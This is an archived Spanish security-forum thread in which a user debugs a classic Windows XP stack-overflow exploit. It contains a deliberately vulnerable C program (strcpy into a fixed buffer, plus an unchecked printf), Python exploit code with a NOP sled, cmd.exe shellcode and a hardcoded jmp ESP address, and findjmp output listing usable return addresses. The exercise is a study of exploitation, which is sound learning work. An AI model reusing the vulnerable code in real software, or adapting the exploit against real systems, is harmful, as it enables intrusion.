elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:54  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Stack overflow exploit en python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Stack overflow exploit en python  (Leído 2,388 veces)
bt380

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Stack overflow exploit en python
« en: 9 Abril 2009, 15:39 »

Buenas,

Estoy intentando explotar un stack overflow en python y no hay manera de que me ejecute la shellcode os agradeceria mil que me ayudarais a ver que hago mal.

Programa Vulnerable:
Código
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]){
   char buffer[400];
 
   strcpy(buffer, argv[1]);
   printf(buffer);
 
   return 0;
}

Exploit en python:
Código
import win32api
 
NoP = "\x90" * 412
RET_ADRESS ='\xED\x1E\x94\x7C' # jmp ESP ntdll.dll WinXP SP2
 
 
Shellcode  ="\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
Shellcode +="\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
Shellcode +="\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
Shellcode +="\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
Shellcode +="\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
 
 
evilBuffer  = NoP
evilBuffer += Shellcode
evilBuffer += RET_ADRESS
 
win32api.WinExec('vuln.exe '+evilBuffer)
 

Debugando veo que llego a sobreescribir EIP pero no hay manera que se ejecuta la shellcode.

Saludos y gracias.
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Stack overflow exploit en python
« Respuesta #1 en: 9 Abril 2009, 17:40 »

Voy a probarlo, te comente en el email que ya me descarge el Python y la extensión para la winApi

Código:
D:\Documents and Settings\Anon\Escritorio>findjmp.exe ntdll.dll ESP

Scanning ntdll.dll for code useable with the ESP register
0x7C924663      call ESP
0x7C929DB0      push ESP - ret
0x7C96311B      call ESP

D:\Documents and Settings\Anon\Escritorio>findjmp.exe kernel32.dll ESP

Scanning kernel32.dll for code useable with the ESP register
0x7C8369F0      call ESP
0x7C86467B      jmp ESP
0x7C868667      call ESP

Yo no tengo jmp esp en ntdll voy a usar el del kernel32.dll

Saludos
En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Stack overflow exploit en python
« Respuesta #2 en: 9 Abril 2009, 17:52 »

Pues en mi caso esta desfasado por 4 bytes, no se si a ti te da el error:



Saludos
En línea

Bien Super Divertido
@wifigdlmx
bt380

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Stack overflow exploit en python
« Respuesta #3 en: 9 Abril 2009, 17:54 »

Si, si te he comentado por email que el codigo que he mandado estaba incorrecto, el huevo en si tiene que ocupar 416 para desbordar. El tema esta en que he empezado a probar y me olvide de volver a dejarlo correctamente. sorry
Este, para mi es el correcto...

Código
import win32api
 
NoP = "\x90" * 355
RET_ADRESS ='\xED\x1E\x94\x7C' # jmp ESP ntdll.dll WinXP SP2
 
 
Shellcode  ="\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
Shellcode +="\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
Shellcode +="\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
Shellcode +="\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
Shellcode +="\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
 
 
evilBuffer  = NoP
evilBuffer += Shellcode
evilBuffer += RET_ADRESS
 
 
win32api.WinExec('vuln.exe '+evilBuffer)
 
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Stack overflow exploit en python
« Respuesta #4 en: 9 Abril 2009, 18:08 »

A va nomas tengo una duda, tu shellcode es de cmd.exe, de calc.exe, o de bind port  :silbar:?

Saludos
En línea

Bien Super Divertido
@wifigdlmx
bt380

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Stack overflow exploit en python
« Respuesta #5 en: 9 Abril 2009, 20:27 »

El shellcode lo he encontrado en la pagina de milworm, es un cmd de 57 bytes.

http://www.milw0rm.com/shellcode/7971

Saludos.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines